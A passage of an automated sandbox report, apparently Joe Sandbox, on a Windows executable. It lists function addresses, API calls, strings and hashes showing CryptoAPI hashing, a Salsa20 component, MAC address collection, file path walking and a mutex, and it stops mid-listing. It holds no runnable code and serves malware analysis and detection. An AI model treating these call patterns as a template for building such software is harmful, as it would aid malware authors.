Instruction Fuzzy Hash: 69E0BF35E41664DAD620A7A2F91B75C7570AB14329FD0D16F9110111D28EBC15C8DA2E

Uniqueness

Uniqueness Score: -1.00%

Function 00427F3D Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_doexit.LIBCMT ref: 00427F47

Part of subcall function 00427E0E: __lock.LIBCMT ref: 00427E1C
Part of subcall function 00427E0E: DecodePointer.KERNEL32(00507B08,0000001C,00427CFB,00423B69,00000001,00000000,i;B,00427C49,000000FF,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E5B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E6C
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E85
Part of subcall function 00427E0E: DecodePointer.KERNEL32(-00000004,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E95
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E9B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EB1
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EBC

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$Encode$__lock_doexit
String ID:
API String ID: 2158581194-0
Opcode ID: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction ID: a7e7560d2adc556c6fb323ffd13f600db444db9a7111c1ec19eeb8b3048b151f
Opcode Fuzzy Hash: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction Fuzzy Hash: ABB01271A8430C33DA113642FC03F053B0C4740B54F610071FA0C2C5E1A593B96040DD

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00410FC0 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 149encryptionstringCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 00411010
__CxxThrowException@8.LIBCMT ref: 00411026

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0041103B
__CxxThrowException@8.LIBCMT ref: 00411051
lstrlenA.KERNEL32(?,00000000), ref: 00411059
CryptHashData.ADVAPI32(00000000,?,00000000,?,00000000), ref: 00411064
__CxxThrowException@8.LIBCMT ref: 0041107A
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,00000000,?,00000000), ref: 00411099
__CxxThrowException@8.LIBCMT ref: 004110AB
_memset.LIBCMT ref: 004110CA
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 004110DE
__CxxThrowException@8.LIBCMT ref: 004110F0
_malloc.LIBCMT ref: 00411100
_memset.LIBCMT ref: 0041110B
_sprintf.LIBCMT ref: 0041112E
lstrcatA.KERNEL32(?,?), ref: 0041113C
CryptDestroyHash.ADVAPI32(00000000), ref: 00411154
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0041115F

Strings

%.2X, xrefs: 00411128

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam_memset$AcquireCreateDataDestroyExceptionRaiseRelease_malloc_sprintflstrcatlstrlen
String ID: %.2X
API String ID: 2451520719-213608013
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: afcee35d8fffc0279d29cc69f214b0122642615a52b78f57353c1cfd92a6c2ef
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: 92516171E40219BBDB10DBE5DC46FEFBBB8FB08704F14012AFA05B6291D77959018BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00411900 Relevance: 29.8, APIs: 16, Strings: 1, Instructions: 95stringmemorywindowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00411915
FormatMessageW.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000), ref: 00411932
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411941
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411948
LocalAlloc.KERNEL32(00000040,00000000,?,00000400,?,00000000,00000000), ref: 00411956
lstrcpyW.KERNEL32(00000000,?), ref: 00411962
lstrcatW.KERNEL32(00000000, failed with error ), ref: 00411974
lstrcatW.KERNEL32(00000000,?), ref: 0041198B
lstrcatW.KERNEL32(00000000,00500260), ref: 00411993
lstrcatW.KERNEL32(00000000,?), ref: 00411999
lstrlenW.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 004119A3
_memset.LIBCMT ref: 004119B8
lstrcpynW.KERNEL32(?,00000000,00000400,?,00000400,?,00000000,00000000), ref: 004119DC

Part of subcall function 00412BA0: lstrlenW.KERNEL32(?), ref: 00412BC9

LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411A01
LocalFree.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 00411A04

Strings

failed with error , xrefs: 0041196E

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen$Local$Free$AllocErrorFormatLastMessage_memsetlstrcpylstrcpyn
String ID: failed with error
API String ID: 4182478520-946485432
Opcode ID: 18b9b32fccc37a3c6be161fd0b5e4603234beec1f634f25e965e40264c5ea564
Instruction ID: 1677776e610180b78075291f83559cfdcc99dc463041ebd32873df59a21ecb07
Opcode Fuzzy Hash: 18b9b32fccc37a3c6be161fd0b5e4603234beec1f634f25e965e40264c5ea564
Instruction Fuzzy Hash: 0021FB31A40214B7D7516B929C85FAE3A38EF45B11F100025FB09B61D0DE741D419BED

Uniqueness

Uniqueness Score: -1.00%

Function 0040F730 Relevance: 29.2, APIs: 19, Instructions: 732COMMON

Download Yara Rule

APIs

Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411ACA
Part of subcall function 00411AB0: DispatchMessageW.USER32(?), ref: 00411AE0
Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411AEE

PathFindFileNameW.SHLWAPI(?,?,00000000,000000FF), ref: 0040F900
_memmove.LIBCMT ref: 0040F9EA
PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0040FA51
_memmove.LIBCMT ref: 0040FADA

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Message$FileFindNamePathPeek_memmove$Dispatch
String ID:
API String ID: 273148273-0
Opcode ID: daf740ff3ac2c3b591e036bdef447c77de08716d8619f20f92381a2c96999064
Instruction ID: a2fe25dd57492d494e78aebb36a96054b80ce25314fb01b08d1ce03a62da89f0
Opcode Fuzzy Hash: daf740ff3ac2c3b591e036bdef447c77de08716d8619f20f92381a2c96999064
Instruction Fuzzy Hash: D652A271D00208DBDF20DFA4D985BDEB7B4BF05308F10817AE419B7291D779AA89CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040E870 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 165encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000,00000000), ref: 0040E8CE
__CxxThrowException@8.LIBCMT ref: 0040E8E4

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040E8F9
__CxxThrowException@8.LIBCMT ref: 0040E90F
CryptHashData.ADVAPI32(00000000,00000000,?,00000000), ref: 0040E928
__CxxThrowException@8.LIBCMT ref: 0040E93E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0040E95D
__CxxThrowException@8.LIBCMT ref: 0040E96F
_memset.LIBCMT ref: 0040E98E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040E9A2
__CxxThrowException@8.LIBCMT ref: 0040E9B4
_sprintf.LIBCMT ref: 0040E9D3

Strings

%.2X, xrefs: 0040E9CD

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: CryptException@8Throw$Hash$Param$AcquireContextCreateDataExceptionRaise_memset_sprintf
String ID: %.2X
API String ID: 1084002244-213608013
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 6020eefb82f776eec2353dc0ff897aa1862dcd4ecc30860888fbdadc8ba65bc1
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 835173B1E40209EBDF11DFA2DC46FEEBB78EB04704F10452AF501B61C1D7796A158BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040EAA0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 159encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000), ref: 0040EB01
__CxxThrowException@8.LIBCMT ref: 0040EB17

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040EB2C
__CxxThrowException@8.LIBCMT ref: 0040EB42
CryptHashData.ADVAPI32(00000000,?,?,00000000), ref: 0040EB4E
__CxxThrowException@8.LIBCMT ref: 0040EB64
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,?,00000000), ref: 0040EB83
__CxxThrowException@8.LIBCMT ref: 0040EB95
_memset.LIBCMT ref: 0040EBB4
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040EBC8
__CxxThrowException@8.LIBCMT ref: 0040EBDA
_sprintf.LIBCMT ref: 0040EBF4
CryptDestroyHash.ADVAPI32(00000000), ref: 0040EC44
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0040EC4F

Strings

%.2X, xrefs: 0040EBEE

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam$AcquireCreateDataDestroyExceptionRaiseRelease_memset_sprintf
String ID: %.2X
API String ID: 1637485200-213608013
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 14d7d02cf3c54262bdef7e6fa07b3cadf7b2b7504ea62fb0b9d39e8d8664034d
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: A6515371E40209ABDF11DBA6DC46FEFBBB8EB04704F14052AF505B62C1D77969058BA8

Uniqueness

Uniqueness Score: -1.00%

Function 004822E0 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 127windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004549A0: GetModuleHandleA.KERNEL32(?,?,00000001,?,00454B72), ref: 004549C7
Part of subcall function 004549A0: GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
Part of subcall function 004549A0: GetDesktopWindow.USER32 ref: 004549FB
Part of subcall function 004549A0: GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
Part of subcall function 004549A0: GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
Part of subcall function 004549A0: _wcsstr.LIBCMT ref: 00454A8A

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00482316
CreateCompatibleDC.GDI32(00000000), ref: 00482323
GetDeviceCaps.GDI32(00000000,00000008), ref: 00482338
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00482341
CreateCompatibleBitmap.GDI32(00000000,?,00000010), ref: 0048234E
SelectObject.GDI32(00000000,00000000), ref: 0048235C
GetObjectA.GDI32(00000000,00000018,?), ref: 0048236E
BitBlt.GDI32(?,00000000,00000000,?,00000010,?,00000000,00000000,00CC0020), ref: 004823CA
GetBitmapBits.GDI32(?,?,00000000), ref: 004823D6
SelectObject.GDI32(?,?), ref: 00482436
DeleteObject.GDI32(00000000), ref: 0048243D
DeleteDC.GDI32(?), ref: 0048244A
DeleteDC.GDI32(?), ref: 00482450

Strings

.\crypto\rand\rand_win.c, xrefs: 00482383
DISPLAY, xrefs: 00482311

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Object$CreateDelete$BitmapCapsCompatibleDeviceInformationSelectUserWindow$AddressBitsDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: .\crypto\rand\rand_win.c$DISPLAY
API String ID: 151064509-1805842116
Opcode ID: 1b801d1ffbd88b82039091f0604768a30c592b3e6827ab76a1e426d578563625
Instruction ID: 00d76d2b57e2ae43ffa0e146b327d2d4306243c0a97269805a4caa25bb15a565
Opcode Fuzzy Hash: 1b801d1ffbd88b82039091f0604768a30c592b3e6827ab76a1e426d578563625
Instruction Fuzzy Hash: 0441BB71944300EBD3105BB6DC86F6FBBF8FF85B14F00052EFA54962A1E77598008B6A

Uniqueness

Uniqueness Score: -1.00%

Function 0040E670 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0040E67F

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: HeapAlloc.KERNEL32(00800000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040E68B
_wprintf.LIBCMT ref: 0040E69E
_free.LIBCMT ref: 0040E6A4

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6B9
_free.LIBCMT ref: 0040E6C5
_malloc.LIBCMT ref: 0040E6CD
GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6E0
_sprintf.LIBCMT ref: 0040E720
_wprintf.LIBCMT ref: 0040E732
_wprintf.LIBCMT ref: 0040E73C
_free.LIBCMT ref: 0040E745

Strings

Error allocating memory needed to call GetAdaptersinfo, xrefs: 0040E699
%02X:%02X:%02X:%02X:%02X:%02X, xrefs: 0040E71A
Address: %s, mac: %s, xrefs: 0040E72D

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$AdaptersHeapInfo$AllocErrorFreeLast_sprintf
String ID: %02X:%02X:%02X:%02X:%02X:%02X$Address: %s, mac: %s$Error allocating memory needed to call GetAdaptersinfo
API String ID: 473631332-1604013687
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: 1f0497fb971ee708fef02f82321736b2a43cb7681c3985dbc626545fd8dc3fd8
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: 251127B2A045647AC27162F76C02FFF3ADC8F45705F84056BFA98E1182EA5D5A0093B9

Uniqueness

Uniqueness Score: -1.00%

Function 00410160 Relevance: 26.2, APIs: 17, Instructions: 660COMMON

Download Yara Rule

APIs

Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411ACA
Part of subcall function 00411AB0: DispatchMessageW.USER32(?), ref: 00411AE0
Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411AEE

PathFindFileNameW.SHLWAPI(?,?,00000000), ref: 00410346
_memmove.LIBCMT ref: 00410427
PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0041048E
_memmove.LIBCMT ref: 00410514

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Message$FileFindNamePathPeek_memmove$Dispatch
String ID:
API String ID: 273148273-0
Opcode ID: 5d71b88130c3850f1ce6f9c9fc3c3b56fc5be04f011d63241bb511ce3f1a2a20
Instruction ID: 4d52a43d2e6eeb98f1fe08e229a92f838bd03635929547cf71b8ba18611ce854
Opcode Fuzzy Hash: 5d71b88130c3850f1ce6f9c9fc3c3b56fc5be04f011d63241bb511ce3f1a2a20
Instruction Fuzzy Hash: EF429F70D00208DBDF14DFA4C985BDEB7F5BF04308F20456EE415A7291E7B9AA85CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040FB98 Relevance: 15.3, APIs: 10, Instructions: 266stringCOMMON

Download Yara Rule

APIs

PathAppendW.SHLWAPI(?,?), ref: 0040FBD5
_memmove.LIBCMT ref: 0040FC3C
PathFileExistsW.SHLWAPI(?,?,?,?), ref: 0040FC63
_malloc.LIBCMT ref: 0040FC72
lstrcpyW.KERNEL32(00000000,?), ref: 0040FC8C
lstrcatW.KERNEL32(00000000,?), ref: 0040FCA5
_free.LIBCMT ref: 0040FCD7

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Path$AppendExistsFile_free_malloc_memmovelstrcatlstrcpy
String ID:
API String ID: 3232302685-0
Opcode ID: 17126a02ccb6bbc5f32dfe245874f9dcbc49a53b6c6b99fc4e7ab7c0e104719e
Instruction ID: e959444c36dd18fc08dff6604914d564c76187b82df2896015b22d61e5b1ffa1
Opcode Fuzzy Hash: 17126a02ccb6bbc5f32dfe245874f9dcbc49a53b6c6b99fc4e7ab7c0e104719e
Instruction Fuzzy Hash: 09B19F70D00208DBDF20DFA4D945BDEB7B5BF15308F50407AE40AAB291E7799A89CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 004382A2 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcscmp.LIBCMT ref: 004382B9
_wcscmp.LIBCMT ref: 004382CA
GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,00438568,?,00000000), ref: 004382E6
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,00438568,?,00000000), ref: 00438310

Strings

OCP, xrefs: 004382C4
ACP, xrefs: 004382B3

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: InfoLocale_wcscmp
String ID: ACP$OCP
API String ID: 1351282208-711371036
Opcode ID: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction ID: cf0fde08c92294f7ab6fed71b02f11d94bd2ad82eb759ef3fcb1a01a65759ec5
Opcode Fuzzy Hash: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction Fuzzy Hash: FA01C431200615ABDB205E59DC45FD77798AB18B54F10806BF908DA252EF79DA41C78C

Uniqueness

Uniqueness Score: -1.00%

Function 0040C070 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 280COMMON

Download Yara Rule

APIs

__wassert.LIBCMT ref: 0040C09A

Strings

input != nullptr && output != nullptr, xrefs: 0040C095
e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl, xrefs: 0040C090

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: __wassert
String ID: e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl$input != nullptr && output != nullptr
API String ID: 3993402318-1975116136
Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction ID: 1562121ec4d7abfac7b8d7a3269f54288592c24a15d8ca99342f0f863a8d7c6a
Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction Fuzzy Hash: 43C18C75E002599FCB54CFA9C885ADEBBF1FF48300F24856AE919E7301E334AA558B54

Uniqueness

Uniqueness Score: -1.00%

Function 00411178 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 00411190
CryptReleaseContext.ADVAPI32(?,00000000), ref: 004111A0

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: 9f13d3873e772d8ace176f4c7e6ba3f69b1ad179b42c3e02a3fcf93c6db6df11
Instruction ID: be51c898aa0ddf1eb2c7ddf255022cb250d4a78141f94ceb906d675081cd9b05
Opcode Fuzzy Hash: 9f13d3873e772d8ace176f4c7e6ba3f69b1ad179b42c3e02a3fcf93c6db6df11
Instruction Fuzzy Hash: F0E0EC74F40305A7EF50DBB6AC49FABB6A86B08745F444526FB04F3251D62CD841C528

Uniqueness

Uniqueness Score: -1.00%

Function 0040EA51 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 0040EA69
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040EA79

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: a8a50747f5b84a4213a2f30896a43f764b121f6b091d033cf5eb92e4ffb0f2c5
Instruction ID: d41dd3a2d1aa4a110fdd7d588524fe859ae41a35967fa473e5fd9fc866ad400b
Opcode Fuzzy Hash: a8a50747f5b84a4213a2f30896a43f764b121f6b091d033cf5eb92e4ffb0f2c5
Instruction Fuzzy Hash: B2E0EC78F002059BDF50DBB79C89F6B72A87B08744B440835F804F3285D63CD9118928

Uniqueness

Uniqueness Score: -1.00%

Function 0040EC68 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 0040EC80
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040EC90

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: ea67dc9e2b6fd99e4d4b2082a3cd53fb6e3c794773a19c18e99169158be55dec
Instruction ID: 275dd0b1ae59d7aa5d1c23d1b64c6eee76a350be21334d4cde6f8a02617c5264
Opcode Fuzzy Hash: ea67dc9e2b6fd99e4d4b2082a3cd53fb6e3c794773a19c18e99169158be55dec
Instruction Fuzzy Hash: 97E0BDB4F0420597EF60DEB69E49F6B76A8AB04645B440835E904F2281DA3DD8218A29

Uniqueness

Uniqueness Score: -1.00%

Function 004124E0 Relevance: 79.0, APIs: 36, Strings: 9, Instructions: 214synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
GetLastError.KERNEL32 ref: 00412509
CloseHandle.KERNEL32 ref: 0041251C
CloseHandle.KERNEL32 ref: 00412539
